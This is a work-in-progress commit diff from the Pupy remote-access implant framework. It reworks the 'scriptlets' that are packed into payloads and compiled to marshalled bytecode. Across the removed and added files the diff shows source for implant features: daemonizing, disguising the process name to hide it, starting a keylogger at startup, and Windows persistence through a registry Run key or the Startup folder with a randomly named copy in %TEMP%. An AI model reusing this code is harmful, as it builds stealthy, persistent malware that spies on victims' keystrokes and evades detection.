[WIP] Rework scriptlets

This commit is contained in:
Oleksii Shevchuk 2018-10-05 00:22:38 +03:00
parent e3f3606f18
commit 3ef0a56981
14 changed files with 133 additions and 196 deletions

View File

@ -438,24 +438,22 @@ def generate_binary_from_template(display, config, osname, arch=None, shared=Fal
return generator(display, template, config, compressed, debug), filename, makex
def load_scriptlets():
scl={}
scl = {}
for loader, module_name, is_pkg in pkgutil.iter_modules(scriptlets.__path__):
if is_pkg:
module=loader.find_module(module_name).load_module(module_name)
for loader2, module_name2, is_pkg2 in pkgutil.iter_modules(module.__path__):
if module_name2=="generator":
module2=loader2.find_module(module_name2).load_module(module_name2)
if not hasattr(module2, 'ScriptletGenerator'):
logger.error("scriptlet %s has no class ScriptletGenerator"%module_name2)
else:
scl[module_name]=module2.ScriptletGenerator
if not is_pkg:
continue
scriptlet = loader.find_module(module_name).load_module(module_name)
scl[module_name] = scriptlet
return scl
def parse_scriptlets(display, args_scriptlet, os=None, arch=None, debug=False):
scriptlets_dic = load_scriptlets()
sp = scriptlets.scriptlets.ScriptletsPacker(os, arch, debug=debug)
sp = scriptlets.scriptlets.ScriptletsPacker(os, arch)
for sc in args_scriptlet:
tab=sc.split(",",1)
tab = sc.split(",", 1)
sc_args={}
name=tab[0]
if len(tab)==2:
@ -474,14 +472,15 @@ def parse_scriptlets(display, args_scriptlet, os=None, arch=None, debug=False):
display(Success('loading scriptlet {} with args {}'.format(repr(name), sc_args)))
try:
sp.add_scriptlet(scriptlets_dic[name](**sc_args))
sp.add_scriptlet(scriptlets_dic[name], sc_args)
except ScriptletArgumentError as e:
display(MultiPart(
Error('Scriptlet {} argument error: {}'.format(repr(name), str(e))),
scriptlets_dic[name].format_help()))
raise ValueError('{}'.format(e))
script_code=sp.pack()
script_code = sp.pack()
return script_code
class InvalidOptions(Exception):

View File

@ -0,0 +1,3 @@
# -*- coding: utf-8 -*-
''' daemonize the process at startup (posix only) '''

View File

@ -1,38 +0,0 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
import textwrap
from scriptlets import Scriptlet
class ScriptletGenerator(Scriptlet):
""" daemonize the process at startup (posix only) """
dependencies=[]
arguments={
}
def __init__(self):
pass
def generate(self, os):
return textwrap.dedent("""
import pupy, os
if os.name == 'posix':
pupy.infos['daemonize']=True
if os.fork(): # launch child and...
os._exit(0) # kill off parent
os.setsid()
if os.fork(): # launch child and...
os._exit(0) # kill off parent again.
os.umask(022) # Don't allow others to write
null=os.open('/dev/null', os.O_RDWR)
for i in range(3):
try:
os.dup2(null, i)
except OSError, e:
if e.errno != errno.EBADF:
raise
os.close(null)
""")

View File

@ -0,0 +1,19 @@
import pupy, os
def main():
if os.name == 'posix':
pupy.infos['daemonize']=True
if os.fork(): # launch child and...
os._exit(0) # kill off parent
os.setsid()
if os.fork(): # launch child and...
os._exit(0) # kill off parent again.
os.umask(022) # Don't allow others to write
null=os.open('/dev/null', os.O_RDWR)
for i in range(3):
try:
os.dup2(null, i)
except OSError, e:
if e.errno != errno.EBADF:
raise
os.close(null)

View File

@ -0,0 +1,11 @@
# -*- coding: utf-8 -*-
""" change pupy process's name """
dependencies = {
'linux': ['hide_process']
}
arguments = {
'name': 'ex: compiz'
}

View File

@ -1,28 +0,0 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
import textwrap
from scriptlets import Scriptlet
class ScriptletGenerator(Scriptlet):
""" change pupy process's name """
dependencies = {
'linux': ['hide_process']
}
arguments = {
'name': 'ex: compiz'
}
def __init__(self, name="compiz"):
self.name=name
def generate(self, os):
return textwrap.dedent("""
import sys
if sys.platform=="linux2":
import hide_process
hide_process.change_argv(argv={})
""".format(repr(self.name)))

View File

@ -0,0 +1,8 @@
import sys
def main(name='compiz'):
print "HIDE ARGV!!!"
print "NAME:", name
if sys.platform == 'linux2':
import hide_process
hide_process.change_argv(argv=name)

View File

@ -1,21 +0,0 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
from scriptlets import Scriptlet
class ScriptletGenerator(Scriptlet):
""" start the keylogger at startup """
dependencies = {
'windows': ['pupwinutils.keylogger'],
'linux': ['pupyps', 'display', 'keylogger']
}
arguments={}
def generate(self, os):
if os == 'windows':
return 'import pupwinutils.keylogger; pupwinutils.keylogger.keylogger_start()'
else:
return 'import keylogger; import display; display.when_attached(keylogger.keylogger_start)'

View File

@ -1,42 +0,0 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
import textwrap
import random
import string
from scriptlets import ScriptletArgumentError, Scriptlet
class ScriptletGenerator(Scriptlet):
""" copy the current pupy executable to a random exe in %TEMP% and add persistency through registry """
dependencies = {
'windows': ['pupwinutils.persistence']
}
arguments = {
'method': 'available methods: registry, startup'
}
def __init__(self, method="registry"):
if method not in ("registry", "startup"):
raise ScriptletArgumentError("unknown persistence method %s"%method)
self.method=method
def generate(self, os):
name=''.join(random.choice(string.ascii_lowercase) for _ in range(0,7))+".exe"
if self.method=="registry":
return textwrap.dedent("""
import sys, shutil, os.path
if sys.platform=="win32":
import pupwinutils.persistence
path=os.path.join(os.path.expandvars("%TEMP%"), {})
shutil.copy(sys.executable, path)
pupwinutils.persistence.add_registry_startup(path)
""".format(name))
else:
return textwrap.dedent("""
import sys, shutil, os.path
if sys.platform=="win32":
shutil.copy(sys.executable, os.path.expandvars("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\{}"))
""".format(name))

View File

@ -1,22 +0,0 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
from scriptlets import ScriptletArgumentError, Scriptlet
class ScriptletGenerator(Scriptlet):
""" execute any python script before starting pupy connection ! """
dependencies=[]
arguments={
'path': 'path to the python script to embed'
}
def __init__(self, path=None):
self.script_path=path
if self.script_path is None:
raise ScriptletArgumentError("a path to a python script must be supplied")
def generate(self, os):
return open(self.script_path, 'rb').read()

View File

@ -3,19 +3,43 @@
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
import os
from pupylib.payloads import dependencies
from pupylib.PupyCompile import Compiler
from pupylib.utils.obfuscate import compress_encode_obfs
ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__),"..","packages"))
from ast import (
parse,
TryExcept, Module, FunctionDef, Num, Name, Str,
NodeTransformer
)
from os import path
def wrap_try_except(code):
full_code = "try:\n"
for line in code.split("\n"):
full_code += "\t"+line+"\n"
full_code += "except Exception:\n\tpass\n"
return full_code
ROOT = path.abspath(path.join(path.dirname(__file__), '..', 'packages'))
WRAPPING_TEMPLATE = '''
{scriptlet}_logger = logger.getChild("{scriptlet}")
try:
# SCRIPTLET BODY GOES HERE
{scriptlet}_main()
except Exception, e:
{scriptlet}_logger.exception(e)
'''
class AstCompiler(Compiler):
def __init__(self):
self._source_ast = None
self._main = False
self._docstrings = False
self._source_ast = False
NodeTransformer.__init__(self)
def add_ast(self, ast):
if not self._source_ast:
self._source_ast = ast
else:
self._source_ast.body.extend(ast.body)
class ScriptletArgumentError(Exception):
pass
@ -47,18 +71,16 @@ class Scriptlet(object):
class ScriptletsPacker(object):
def __init__(self, os=None, arch=None, debug=False, obfuscate=False):
self.scriptlets = set()
self.debug = debug
def __init__(self, os=None, arch=None):
self.scriptlets = {}
self.os = os or 'all'
self.arch = arch
self.obfuscate = obfuscate
def add_scriptlet(self, sl):
self.scriptlets.add(sl)
def add_scriptlet(self, scriptlet, kwargs={}):
self.scriptlets[scriptlet] = kwargs
def pack(self):
fullpayload = []
compiler = AstCompiler()
requirements = set()
@ -74,24 +96,50 @@ class ScriptletsPacker(object):
requirements.add(dependency)
if requirements:
try:
fullpayload += [
compiler.add_ast(
parse('\n'.join([
'import pupyimporter',
dependencies.importer(requirements, os=self.os)
]
except dependencies.NotFoundError, e:
raise ImportError('Module "{}" not found'.format(e))
]) +'\n'))
for scriptlet, kwargs in self.scriptlets.iteritems():
template = WRAPPING_TEMPLATE.format(
scriptlet=scriptlet.__name__)
template_ast = parse(template)
for scriptlet in self.scriptlets:
if self.debug:
fullpayload.append(scriptlet.generate(self.os))
else:
#if not in debug mode, catch all exception to continue an have a session if a scriptlet raises an exception
fullpayload.append(wrap_try_except(scriptlet.generate(self.os)))
print "SCRIPTLET", scriptlet
print "SCRIPTLET PATH", scriptlet.__path__
fullpayload = '\n'.join(fullpayload)
if self.obfuscate:
fullpayload = compress_encode_obfs(fullpayload)
scriptlet_ast = None
return fullpayload
with open(path.join(scriptlet.__path__[0], 'scriptlet.py')) as scriptlet_src:
scriptlet_ast = parse(scriptlet_src.read())
# Bind args
# There should be top level function main
for item in scriptlet_ast.body:
if type(item) == FunctionDef and item.name == 'main':
item.name = scriptlet.__name__ + '_main'
for arg, value in zip(item.args.args, item.args.defaults):
if arg.id in kwargs:
default = kwargs[arg.id]
vtype = type(value)
if vtype == Num:
value.n = int(default)
elif vtype == Str:
value.s = default
elif vtype == Name:
value.id = repr(default)
# Wrap in try/except
for item in template_ast.body:
if type(item) == TryExcept:
scriptlet_ast.body.extend(item.body)
item.body = scriptlet_ast.body
print "FOUND BODY, NEW:", item.body
break
compiler.add_ast(template_ast)
return 'exec marshal.loads({})'.format(
repr(compiler.compile('scriptlets', raw=True)))